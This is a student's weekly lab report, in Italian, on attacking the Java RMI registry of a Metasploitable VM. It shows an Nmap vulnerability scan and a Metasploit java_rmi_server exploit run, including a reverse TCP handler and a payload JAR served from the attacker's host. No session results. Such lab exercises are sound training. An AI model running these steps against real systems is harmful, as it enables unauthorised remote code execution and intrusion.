Report progetto settimanale

Ho eseguito l'esercizio assegnato che riguardava l'utilizzo di Metasploit per sfruttare una vulnerabilità nel servizio Java RMI di Metasploitable per di ottenere una sessione Meterpreter.

Ho iniziato eseguendo una scansione della porta sul target Metasploitable utilizzando Nmap. Volevo verificare se il servizio Java RMI era attivo sulla porta 1099.

Ho utilizzato lo script "rmi-vuln-classloader" per identificare la vulnerabilità nel servizio Java RMI. Il servizio Java RMI era vulnerabile, ho visto un messaggio che indicava la presenza della vulnerabilità di caricamento delle classi RMI da remoto.

```
(kali@ kali)=[~]
$ nmap --script=rmi-vuln-classloader -p 1099 192.168.11.112
Starting Nmap 7.93 ( https://map.org ) at 2023-06-16 06:42 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0011s latency).

PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| References:
| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
```

Ho utilizzato con msfconsole, una interfaccia a riga di comando per Metasploit Framework, per di eseguire l'exploit sul servizio Java RMI. Ho deciso di utilizzare il modulo "multi/misc/java_rmi_server" utilizzando il payload predefinito per l'esecuzione dell'attacco.

Dopo aver configurato i parametri necessari, ho eseguito il comando "run" per avviare l'attacco. Avrei dovuto ottenere una sessione con Meterpreter, un potente payload che consente il controllo remoto del sistema compromesso. Tuttavia, non sono riuscito ad ottenere la sessione desiderata.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/GR0avbS
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.
```

Come ultima parte dell'esercizio si sarebbero dovute ottenere informazioni sulla macchina attaccata utilizzando i comandi messi a disposizione dalla shell di meterpreter come "ifconfig" e "route" per la configurazione di rete e la informazioni sulla tabella di routing.